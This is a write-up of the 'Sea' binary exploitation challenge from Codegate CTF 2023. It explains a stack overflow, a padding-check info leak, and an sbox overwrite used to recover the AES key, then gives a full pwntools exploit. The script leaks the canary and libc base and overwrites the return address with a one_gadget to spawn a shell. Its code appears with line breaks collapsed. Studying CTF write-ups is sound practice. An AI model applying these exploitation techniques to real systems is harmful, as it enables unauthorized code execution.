## Sea
was a pwn challenge from Codegate CTF 2023 (the big drama CTF)
it was an interesting challenge, the only one I worked on, as I was a bit busy this week-end.
The program permits us to encrypt and decrypt data, with aes encryption. (sea -> aes). It uses a random key read from `/dev/urandom` that is changed after each decryption, but not after encryption. So we can encrypt many times with the same key.
### Various vulns we found (and exploited)
1- we saw the buffer overflow in encrypt function, the input hex data’s  size is not verified before being copied to a fixed size buffer on stack
2- in the function `sub_15A1()` that verify padding in the decrypt function, the padding size is sometimes use as a `signed char`, or an `unsigned char`, so we found that by removing original padding of an encrypted message, and replacing it by a `signed char` 0x80 (the message has to be full of 0x80 to verify padding), we can  leak 0x80 bytes after stack buffer, and leak canary, exe and libc  addresses.
3- we saw that in the function `sub_1470()` that read hex data to `.bss`, we can read up to 0x800 bytes in a buffer that is only 0x100 bytes big, and overwrite the sboxes in `.bss`. This is usable in decrypt function, as the function early exits when  the passed hex data are longer than 256bytes, but still write them on  the `.bss`
4 - we saw that by overwriting the sboxes in `.bss` with zeroes, and encrypting a message full of zeroes, the random aes  key can be leaked easily, and by restoring the sboxes after, we can  calculate the `iv` too
5 - once we have `iv` and `key` we forge a payload that will overwrite return address with a onegadget  in encrypt function.  We decrypt this payload with the known aes key and iv.  And we encrypt to overwrite our payload. And we got shell.
here is my exploit for that:
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *from Crypto.Cipher import AES
context.update(arch="amd64", os="linux")context.log_level = 'info'
# change -l0 to -l1 for more gadgetsdef one_gadget(filename, base_addr=0):  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l0', filename]).decode().split(' ')]
# shortcutsdef logbase(): log.info("libc base = %#x" % libc.address)def logleak(name, val):  log.info(name+" = %#x" % val)def sa(delim,data): return p.sendafter(delim,data)def sla(delim,line): return p.sendlineafter(delim,line)def sl(line): return p.sendline(line)def rcu(d1, d2=0):  p.recvuntil(d1, drop=True)  # return data between d1 and d2  if (d2):    return p.recvuntil(d2,drop=True)
exe = ELF('./sea_patched')libc = ELF('./libc.so.6')
if args.REMOTE:  host, port = "54.180.128.138", "45510"else:  host, port = "127.0.0.1", 45510
p = remote(host,port)
sboxes = b'0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008d01020408102040801b3600000000000000000000000000000000000000000052096ad53036a538bf40a39e81f3d7fb7ce339829b2fff87348e4344c4dee9cb547b9432a6c2233dee4c950b42fac34e082ea16628d924b2765ba2496d8bd12572f8f66486689816d4a45ccc5d65b6926c704850fdedb9da5e154657a78d9d8490d8ab008cbcd30af7e45805b8b34506d02c1e8fca3f0f02c1afbd0301138a6b3a9111414f67dcea97f2cfcef0b4e67396ac7422e7ad3585e2f937e81c75df6e47f11a711d29c5896fb7620eaa18be1bfc563e4bc6d279209adbc0fe78cd5af41fdda8338807c731b11210592780ec5f60517fa919b54a0d2de57a9f93c99cefa0e03b4dae2af5b0c8ebbb3c83539961172b047eba77d626e169146355210c7d637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb1601'
payload = b'80'*0xe0sla('> ', '1')sla(': ', payload)
cypher = rcu(': ','\n')print(b'cypher = '+cypher)
payload = cypher[0:448]sla('> ', '2')sla(': ', payload)
decrypted = unhex(rcu('plaintext: ', '\n'))print('\n'+hexdump(decrypted))# get canary leakcanary = u64(decrypted[0x100:0x108])logleak('canary', canary)# get prog base leakexe.address = u64(decrypted[0xf8:0x100]) - 0x4820logleak('prog base', exe.address)# get libc baselibc.address = u64(decrypted[0xe8:0xf0]) - libc.sym['_IO_2_1_stdout_']logbase()
# zeroes sboxessla('> ', '2')sla(': ', b'00'*833)
# encrypt 32 bytes of zeroespayload = b'00'*32sla('> ', '1')sla(': ', payload)
# get back encrypted resultcypher = rcu(': ','\n')print(b'cypher = '+cypher)cypher = unhex(cypher)
# extract key from encryptedkey = cypher[0:8]+ xor(cypher[0:8], cypher[8:16])print('key:\n'+hexdump(key))
# restore sboxessla('> ', '2')sla(': ', sboxes)
payload = b'00'*32sla('> ', '1')sla(': ', payload)# get back encrypted resultcypher = rcu(': ','\n')
### Get IVcipher = AES.new(key, AES.MODE_ECB)iv = cipher.decrypt(unhex(cypher)[:16])print('iv:\n'+hexdump(iv))
onegadgets = one_gadget('libc.so.6', libc.address)
# out payload, will overwrite return address with a onegadget addresspayload = b'A'*0xf0+p64(canary)+p64(0xdeadbeef)*3+p64(onegadgets[1])+p64(0xdeadbeef)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)decrypted = cipher.decrypt( payload)
sla('> ', '1')sla(': ', enhex(decrypted))
p.interactive()```
and that's all, no more drama... shhh peacefull..(https://www.youtube.com/watch?v=1yeEZ-bx63c)
